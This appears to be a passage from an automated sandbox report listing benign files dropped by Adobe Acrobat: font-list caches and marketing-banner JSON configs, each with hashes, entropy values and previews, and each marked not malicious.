Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3396

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.371400623801195
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwdDQmxDWsGiIPEeOF0YhXuoAvJM3g98kUwPeUkwRe9:YvXKXdmMsdTeOB1GMbLUkee9
MD5:	9A9E936C727598B7E3E08AC3B547BB16
SHA1:	705F36D5DC157E72F334EBD86603DA046B934E7F
SHA-256:	60F272D836F57ADFF111A2C8259C958FDAE8CDFFB9630F6CADF786B4969ADFCC
SHA-512:	8714240525C62D5A2981BFB08354A97BEA3ED0052453AE157F4F0B20406853BB197A8DBFF0637975C6C1A1DAAF2F4E1621BF6592F8516F221F5E851C459BC0B2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2c826f-f150-4394-aaa7-27f6b2cfbf98","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736524725229,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.305993834029781
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwdDQmxDWsGiIPEeOF0YhXuoAvJfBoTfXpnrPeUkwRe9:YvXKXdmMsdTeOB1GWTfXcUkee9
MD5:	262E919EBFE8FEBFC92EA18CF9ACC88B
SHA1:	D38E5F5ECF31826A3C73758CEA55C284A5904B6D
SHA-256:	83CAE393AEB0A935F53DA9DA769DF27D73CFA29D935E659C6D7363C7C022C1F2
SHA-512:	6F16566A3E659D601BC6EB22B977707E2433FD91FC7A2C67B2AE4F9065852B708EE9F975D3DEB2AD49B94468DFD578550C4EB7F234CA4F5F039CE8575F1E8DAD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2c826f-f150-4394-aaa7-27f6b2cfbf98","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736524725229,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.283946434029141
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwdDQmxDWsGiIPEeOF0YhXuoAvJfBD2G6UpnrPeUkwRe9:YvXKXdmMsdTeOB1GR22cUkee9
MD5:	E973BC34DD45F33A46B7AA101BDC9899
SHA1:	F874FCD2538C6331E26A61F0E469D5888F351915
SHA-256:	38BE37FBB1F7604663FC3B3C0F24AE57A6109F1D08508764FD14A64D3CA9D55C
SHA-512:	AD283D13E517966811DB6BDC04002D30C7B6BA8DA71633277261F0AF41F1126B086AE0FFA1AE2D555ABA4B76349BAE15FFAD48045333FEB63670279DE73E6E86
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2c826f-f150-4394-aaa7-27f6b2cfbf98","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736524725229,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.358560935288783
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwdDQmxDWsGiIPEeOF0YhXuoAvJfPmwrPeUkwRe9:YvXKXdmMsdTeOB1GH56Ukee9
MD5:	5E9BB3398E28CD90228E0DEC817881B9
SHA1:	BEF8FB5298229FCDD52B6B798570C553280389E3
SHA-256:	E851EBD65262EE5D3241A943BA7A264364443B424EF8E0DBD1F8F954C66DE1A8
SHA-512:	BCDAC7967B34D7CB4AD3C7D187206BCB29F009CAEFC798B87CC9CAACC5817EFEC6E233F2371CD093C62D0A02231960EA6D419903432B2750D0E8EA76EEA41A5A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2c826f-f150-4394-aaa7-27f6b2cfbf98","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736524725229,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6935070577748395
Encrypted:	false
SSDEEP:	24:Yv6XdmMmeOBapLgE9cQx8LennAvzBvkn0RCmK8czOCCSx:YvneSahgy6SAFv5Ah8cv/x
MD5:	79D6B27290EA8BA131B782642E9D5B37
SHA1:	3FD6AC11BCFF96184CA4B9E63691F594E27D22A2
SHA-256:	C612F17A37427DD05870DC00304C396A28A53B334BC6978B9A9B7DC52580D5F1
SHA-512:	20EE2CA588E6969D657F707989D1088FC44C89BA0915853B74AA28C09FB85288582F5261B605B7F1EA2333BDBC4CAF2BDB2BA16FED2B6838F24940406ACF944D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2c826f-f150-4394-aaa7-27f6b2cfbf98","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736524725229,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298440428525334
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwdDQmxDWsGiIPEeOF0YhXuoAvJf8dPeUkwRe9:YvXKXdmMsdTeOB1GU8Ukee9
MD5:	7EAB3F8E4A62186015B70F2FD66EE7CB
SHA1:	E436A05007337772FB1B171FF5B4B5B298E7E75C
SHA-256:	5997ACA5F39D64E7F62BD838E8711B4509A1A6AD536DFE98C2DE64B0B60EF444
SHA-512:	0BFD5A028CB16214281D37D8EDB1CDC3AB2FD3E875D382871294CAF473F5F07FBA3D9662BDC075CCF34398253BC8591A6A6A591E58BA3080F13286088D99233E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2c826f-f150-4394-aaa7-27f6b2cfbf98","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736524725229,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.303247683316478
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwdDQmxDWsGiIPEeOF0YhXuoAvJfQ1rPeUkwRe9:YvXKXdmMsdTeOB1GY16Ukee9
MD5:	E672EB9D8B59D13B4DC48632BE089375
SHA1:	4E22549B4F6E2E931D8A0DBEABB6CF1FA7CDCA36
SHA-256:	54615DFD9574A0252FDDB4F8B698EAA6CFB25A7284FCB004CFF4AD5234662E31
SHA-512:	69A9A60AF5164269C35026677960D94E5CB7DF0804AA0824D50CFEA5749F55B934C6BF98C27DA29E9113E8899C779CE9735BE24F0AE9086B4BA1CC2BE38094C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2c826f-f150-4394-aaa7-27f6b2cfbf98","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736524725229,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.320168145806278
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwdDQmxDWsGiIPEeOF0YhXuoAvJfFldPeUkwRe9:YvXKXdmMsdTeOB1Gz8Ukee9
MD5:	8733B6744D190A00C3796AAE6C1017D3
SHA1:	4C067B8476D44C435D82B264ABADDBAB2EDE421E
SHA-256:	110ADF55F04C748706695E13AF25D8BB925C905C37496B09B29AD0AC94150B7A
SHA-512:	A593BDA17FD4DEDB189077A4A1BEED273E26522AD14DDA4DD2BFF887EEF5886AF215FE10D8E2046373D7B337DA90A5C0D87924387D6AB2A5C2C5BC519DC000FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2c826f-f150-4394-aaa7-27f6b2cfbf98","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736524725229,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.324926067124551
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwdDQmxDWsGiIPEeOF0YhXuoAvJfzdPeUkwRe9:YvXKXdmMsdTeOB1Gb8Ukee9
MD5:	AC6C4F3D57F39D0B4303150AC22F65FA
SHA1:	58B2E045D69D6850F646388148611097492F747A
SHA-256:	02CA1FD3A165063BE0D163B5AC7A121A3A6FCAC23D0E3AFD912B4B320EC3FC35
SHA-512:	583A3F3CA1F794B6AD0D23064BE09C429F6016C27CC74B55C90EB935A3F9E4F1BCF10741CDDDA618B5B66938858D3EA020600344EEDEA0CB14B4611DAD5A2CDA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2c826f-f150-4394-aaa7-27f6b2cfbf98","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736524725229,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.305962770735596
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwdDQmxDWsGiIPEeOF0YhXuoAvJfYdPeUkwRe9:YvXKXdmMsdTeOB1Gg8Ukee9
MD5:	65F19E19A0B364422AC650CEF8893D0B
SHA1:	B1B9792D6CBA231CA53C3895BC1C3BAEC4AFC4F4
SHA-256:	728ED6610EF001E6F7529B034CE3CDEF2104B7457F131DAF98C89A018CFE5E99
SHA-512:	8C8590D613948FEEEC4924BD77A9AA4FEF8C59CE040DA99DA224884A536DF1DDE7216F476EE1715EF89D844BFE13B865E099E9AAE2CB6FE94467D722C8319F17
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2c826f-f150-4394-aaa7-27f6b2cfbf98","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736524725229,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.29180042038345
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwdDQmxDWsGiIPEeOF0YhXuoAvJf+dPeUkwRe9:YvXKXdmMsdTeOB1G28Ukee9
MD5:	3532C6099C6577C788212C36103F32F1
SHA1:	4A05767ECD23BB8C99FDDF32F29AC20E1D27D662
SHA-256:	7938314A43A7AA400A27929F66F10E2D028ADADB583F7FC922A1E534F6D98E50
SHA-512:	C13F90002CDEC8CE9714E838834E164C97D93D11F2BCA70E8200C35D2C7C520A3BF1153130345D0AA40C7FEFF60796E6F23303AEE4556BE24C88FBDC0BD49FF4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2c826f-f150-4394-aaa7-27f6b2cfbf98","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736524725229,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.289468887167292
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwdDQmxDWsGiIPEeOF0YhXuoAvJfbPtdPeUkwRe9:YvXKXdmMsdTeOB1GDV8Ukee9
MD5:	916CED66E13533924F501387021D2CF6
SHA1:	6CF3FF4D932E9068FCF9D540A6E87CE27FEFA220
SHA-256:	2B2B530B050AA2E3CA366B5DEB6BA096808CEB42539F57C1EC5D5367EF376C59
SHA-512:	0687E3A6C0FED172FA34325EF2E4AFF2C141B559252D2F7CC8082CB2A89C573BC3C22D588D01B2F12BB7E6CECB88DFB3C65D96AFEB3C7743985F32B8EA9E8152
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2c826f-f150-4394-aaa7-27f6b2cfbf98","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736524725229,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.294498739041927
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwdDQmxDWsGiIPEeOF0YhXuoAvJf21rPeUkwRe9:YvXKXdmMsdTeOB1G+16Ukee9
MD5:	5A94DDB1ED99326FCA6DB5D49D9CDA9C
SHA1:	2878F811229028C41956504D432F3C8BCC61FD05
SHA-256:	C5B9E2D493ACB926190A5C6154EC6FD4F748DDAE87442724A084DC7E1A477F4E
SHA-512:	96E60B5E4B675E90E12F70830E666A10CB12E358C8D0F84F07D8F12B3D740138863C4D3BCD42ACDF7859EB6FFABC9F8DA0C711DC2B2B62462228D4BCA831201D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2c826f-f150-4394-aaa7-27f6b2cfbf98","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736524725229,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66661102577489
Encrypted:	false
SSDEEP:	24:Yv6XdmMmeOBGamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSx:YvneSIBgkDMUJUAh8cvMx
MD5:	B4F12C6B03193D46F1F2D61666DCD207
SHA1:	0EC363AD487DB6F2095E6264484AF4C3592B675B
SHA-256:	BD76E11CEC79C7955F9F825FA3CB013A2D8405DE4621B1809F3B45327CEC92BF
SHA-512:	1FECD42A9F059C2E6F349E05AED6B6B511E178349E374FBF3084AD69D7DFA9ABD79B359A32101AB32534254158F5E8DD94C3D56072EE8A8AB8BCE9A807B5B333
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2c826f-f150-4394-aaa7-27f6b2cfbf98","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736524725229,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.27154312047176
Encrypted:	false
SSDEEP:	6:YEQXJ2HXwdDQmxDWsGiIPEeOF0YhXuoAvJfshHHrPeUkwRe9:YvXKXdmMsdTeOB1GUUUkee9
MD5:	6D1C81B170457B2BF3D100841C78D499
SHA1:	DFC4FAE353F0409232448703DE946B2CE406A466
SHA-256:	6C5505DFB4920DA23DB634BCA064F154A580E2E6716B88678966F7445D53EEF9
SHA-512:	FAC996297C859DF7504AA29E77A8E0DA5B42282F81EFE6FFBA835094B3D295A9057ABCF50338DEF9AC2481CFF0543383D6DEAC46DD4223CCA8056E0910D6997F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2c826f-f150-4394-aaa7-27f6b2cfbf98","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736524725229,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
